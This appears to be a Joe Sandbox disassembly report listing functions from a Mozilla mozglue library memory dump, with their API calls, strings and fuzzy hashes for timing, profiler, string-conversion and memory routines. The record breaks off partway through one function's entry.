Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: Dml$Dml$MOZ_CRASH()$\ml
API String ID: 2055633661-3041328916
Opcode ID: 7cafa5be20bf4db4bcfdb207d8f870c0033313312f764c8b6a63c46e4560558c
Instruction ID: c0a39974589e38f45cd12d2b49d7f4a33d4792012388625821c90f73072d1d84
Opcode Fuzzy Hash: 7cafa5be20bf4db4bcfdb207d8f870c0033313312f764c8b6a63c46e4560558c
Instruction Fuzzy Hash: C241E271B013168BDF409F69C8C8BAAB7B5EF8A348F110129E91597744DB71A804CBDD

Function 6C675670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C6756D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6756E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C6756F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C675744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C6757BC
GetTickCount64.KERNEL32 ref: 6C6758CB
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C6758F3
__aulldiv.LIBCMT ref: 6C675945
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C6759B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C6DF638,?,?,?,?), ref: 6C6759E9

Strings

MOZ_APP_RESTART, xrefs: 6C6756CC

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: c6b1ea9104754a8ef7f34416b2b9287e3d37f0b01403dc47f43a0f3bf1e0d967
Instruction ID: 8a5d3d28f3501d48136d047c39752d816cf1a815167c03ec0a4cbd8a9897a4dd
Opcode Fuzzy Hash: c6b1ea9104754a8ef7f34416b2b9287e3d37f0b01403dc47f43a0f3bf1e0d967
Instruction Fuzzy Hash: 05C17C31A083809FDB15CF29C48066AF7F1BFCA714F158A5DF8C497A60D730A985CB9A

Function 6C69EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69EC8C

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69ECA1
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C69ECC5
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C69ED19
CloseHandle.KERNEL32(?), ref: 6C69ED28
free.MOZGLUE(00000000), ref: 6C69ED2F
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C69EC94

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 6f752f8e038e371429242f7d7bed7329dc5222a32dc293cb44beca4bad8acc52
Instruction ID: 2ae2e6adba9c6c1c82c3a60dad5285ffbeb87b2139405902274e78f0153f2d9b
Opcode Fuzzy Hash: 6f752f8e038e371429242f7d7bed7329dc5222a32dc293cb44beca4bad8acc52
Instruction Fuzzy Hash: 1C21E575600106AFDF009F26DC44A9A3779FF8636DF144210FD1897745DB31A80ACBAE

Function 6C698ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C65EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C65EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C69B392,?,?,00000001), ref: 6C6991F4

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

Strings

name, xrefs: 6C698F16
timeline-fileio, xrefs: 6C6990A4
timeline-memory, xrefs: 6C699088
marker-table, xrefs: 6C69906C
marker-chart, xrefs: 6C69905E
stack-chart, xrefs: 6C6990B2
data, xrefs: 6C6990E8
timeline-ipc, xrefs: 6C699096
timeline-overview, xrefs: 6C69907A

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: a46f793aff704f56e277412be1ddd98c51ea3a825d501873c4d8477a647ad1d8
Instruction ID: e91fcf3a85a4a0ae094e2106f39310f51662bf5ea7707ab1be9b0a83cbe8eee1
Opcode Fuzzy Hash: a46f793aff704f56e277412be1ddd98c51ea3a825d501873c4d8477a647ad1d8
Instruction Fuzzy Hash: 55B1A3B0B0120A9BDF04CF95C4917EEBBB5EF85318F204419D506ABF80D771A955CBEA

Function 6C67C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C67C5A3
WideCharToMultiByte.KERNEL32 ref: 6C67C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C67C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C67CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C67CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C67CAA5

Strings

0, xrefs: 6C67D30A
(null), xrefs: 6C67C596

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 946298515b47d45dbfcc8824a1bb1790f2a17144965091408ef7e48c0c2a008b
Instruction ID: ec663ae348d2d7e35e63457b47664be838fc7f850928f8c79191e0fbf81cf5c1
Opcode Fuzzy Hash: 946298515b47d45dbfcc8824a1bb1790f2a17144965091408ef7e48c0c2a008b
Instruction Fuzzy Hash: 2AA1B230608341AFDB20DF29C59475EBBE1AFC9758F048D2DE99AD3641D731E805CB6A

Function 6C67C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C67C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C67C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C67C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C67C891

Strings

inf, xrefs: 6C67C78F
INF, xrefs: 6C67C794
NAN, xrefs: 6C67C7AD
nan, xrefs: 6C67C7A8

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 6a6d99bf2aa247250106ce3e01f91a0a30a20dcc70c9f36e39c26d4f5c5240a7
Instruction ID: cc99c5c77600d26ef2be13eca573c25623f929f90bd9dbf0f00d6d2fa080d3d4
Opcode Fuzzy Hash: 6a6d99bf2aa247250106ce3e01f91a0a30a20dcc70c9f36e39c26d4f5c5240a7
Instruction Fuzzy Hash: 95519170A087449BD710EF2CC58169AFBF0BF8A308F008E2DE9D5A7651E771D9858B5B

Function 6C653480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C653492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C6534A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C6534EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C65350E
__Init_thread_footer.LIBCMT ref: 6C653522
__aulldiv.LIBCMT ref: 6C653552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C65357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C653592

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

Strings

kernel32.dll, xrefs: 6C6534EA
GetSystemTimePreciseAsFileTime, xrefs: 6C653508

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: e061da427ccfffe8b3b9444bf5cfb6c200ce120e6d9a646ebd6fae84dc35615d
Instruction ID: 9855ab1f5cf0ff1ab9f91fc4aabf033d94efc2b8b54de8244a30b0250912f382
Opcode Fuzzy Hash: e061da427ccfffe8b3b9444bf5cfb6c200ce120e6d9a646ebd6fae84dc35615d
Instruction Fuzzy Hash: 5631B371B012469BDF00DFBAC888AAA77B5FB86745F204429F50193A64DB70B905CF69

Function 6C654480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C694843,?), ref: 6C6545F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C694843,?), ref: 6C65468A
free.MOZGLUE(?,?,?,?,?,?,6C694843,?), ref: 6C6546C9
free.MOZGLUE(?), ref: 6C6546EF
free.MOZGLUE(?), ref: 6C654712
free.MOZGLUE(?), ref: 6C654735
free.MOZGLUE(?), ref: 6C654758
free.MOZGLUE(?), ref: 6C65477B
free.MOZGLUE(?), ref: 6C65479E

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 42e0285ff12e1b48db14d9e7b7756cdd3e21479a2d910f018ee96b5da21308c6
Instruction ID: 5853785377ad7fac109c5e2629cf6a5aa9a57433c8303e5361673e4d80730685
Opcode Fuzzy Hash: 42e0285ff12e1b48db14d9e7b7756cdd3e21479a2d910f018ee96b5da21308c6
Instruction Fuzzy Hash: E5B1F671A001518FDB188E3CC8D07BD77A1AF42328FA846A9E416DBBC6D7B1D8748B59

Function 6C6BAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C6BAC52
CreateFileMappingW.KERNEL32 ref: 6C6BAC7D
GetSystemInfo.KERNEL32 ref: 6C6BAC98
MapViewOfFile.KERNEL32 ref: 6C6BACB0
GetSystemInfo.KERNEL32 ref: 6C6BACCD
MapViewOfFile.KERNEL32 ref: 6C6BAD05
UnmapViewOfFile.KERNEL32 ref: 6C6BAD1C
CloseHandle.KERNEL32 ref: 6C6BAD28
UnmapViewOfFile.KERNEL32 ref: 6C6BAD37
CloseHandle.KERNEL32 ref: 6C6BAD43
CloseHandle.KERNEL32 ref: 6C6BAD67

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 59696297686353adecd41f422a9d48b54b654ba51719b09777c39cf6cc7fa849
Instruction ID: 1d55252a4fddc2fce995aea856eb7163ac88f37b0f772768b4ec13c3e935887d
Opcode Fuzzy Hash: 59696297686353adecd41f422a9d48b54b654ba51719b09777c39cf6cc7fa849
Instruction Fuzzy Hash: A53190B1A043058FDB00AF7EC68826EBBF0FF85345F014A2DE98597215EB70A559CB86

Function 6C669620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C669675
__Init_thread_footer.LIBCMT ref: 6C669697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C6696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C669707
__Init_thread_footer.LIBCMT ref: 6C66971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C669773

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C6697B7
FreeLibrary.KERNEL32 ref: 6C6697D0
FreeLibrary.KERNEL32 ref: 6C6697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C669824

Strings

ntdll.dll, xrefs: 6C6696E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C669670
MapViewOfFileNuma2, xrefs: 6C6697B1
NtMapViewOfSection, xrefs: 6C669701

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 35d76fc3de0d189954486bef354baa94a85d1ca9c51e24e14303b3a6d5a3e6f7
Instruction ID: c58beb77730c3bb50b81c3ab3c95484078194ae74635b95675cd758bd60d9ed7
Opcode Fuzzy Hash: 35d76fc3de0d189954486bef354baa94a85d1ca9c51e24e14303b3a6d5a3e6f7
Instruction Fuzzy Hash: 38418F757002069BDF00CFA7E8D4AD67BB4EB4A768F014529ED1597B80D730B805CFAA

Function 6C6A0000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C6A0039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6A0041
GetCurrentThreadId.KERNEL32 ref: 6C6A0075
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C6A0082
moz_xmalloc.MOZGLUE(00000048), ref: 6C6A0090
free.MOZGLUE(?), ref: 6C6A0104
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C6A011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C6A005B

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: 715d2595b8834937728e09b61400d11e8598dcd4df53c565ed4a919c9e421637
Instruction ID: 7e6e514935adee0641d6f1f8b256edd75366cfb438b1d6f785e6d5037f67f481
Opcode Fuzzy Hash: 715d2595b8834937728e09b61400d11e8598dcd4df53c565ed4a919c9e421637
Instruction Fuzzy Hash: 17417E755006459FCB10CF66C880A9ABBF1FF8A318F44491DE95A83B51D731BC16CBAE

Function 6C667E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C667EA7
malloc.MOZGLUE(00000001), ref: 6C667EB3

Part of subcall function 6C66CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C66CB49
Part of subcall function 6C66CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C66CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C667EC4
mozalloc_abort.MOZGLUE(?), ref: 6C667F19
malloc.MOZGLUE(?), ref: 6C667F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C667F4D

Strings

d, xrefs: 6C667F89

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: bbc1749df10a620292a47fcfc72db2247c521bb044989b3b1666867bd625702f
Instruction ID: e830ebfc37e3d5da22a8c8654ceb0f7c4ca94ed4ed5000a78e94d46f495ec9d3
Opcode Fuzzy Hash: bbc1749df10a620292a47fcfc72db2247c521bb044989b3b1666867bd625702f
Instruction Fuzzy Hash: 4C312A61E0438897DB009B2ACC449FEF778EF96308F045229DD4997612FB30B6C8C399

Function 6C663E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6C663CCC), ref: 6C663EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C663FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6C663CCC), ref: 6C664006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C6640A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C663CCC), ref: 6C6640AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C663CCC), ref: 6C6640C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C664134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C663CCC), ref: 6C664143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C663CCC), ref: 6C664157

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: f247eb4cf49074cd7f41e602e599435642a9b1894c5ac81416b866b1157663d0
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 47A181B1A00215CFDB40CF6AC880769B7B5FF49308F2541A9D909AFB42D771E886CBA5

Function 6C652030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C673F47,?,?,?,6C673F47,6C671A70,?), ref: 6C65207F
memset.VCRUNTIME140(?,000000E5,6C673F47,?,6C673F47,6C671A70,?), ref: 6C6520DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C673F47,6C671A70,?), ref: 6C65211A
EnterCriticalSection.KERNEL32(6C6DE744,?,6C673F47,6C671A70,?), ref: 6C652145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C673F47,6C671A70,?), ref: 6C6521BA
EnterCriticalSection.KERNEL32(6C6DE744,?,6C673F47,6C671A70,?), ref: 6C6521E0
LeaveCriticalSection.KERNEL32(6C6DE744,?,6C673F47,6C671A70,?), ref: 6C652232

Strings

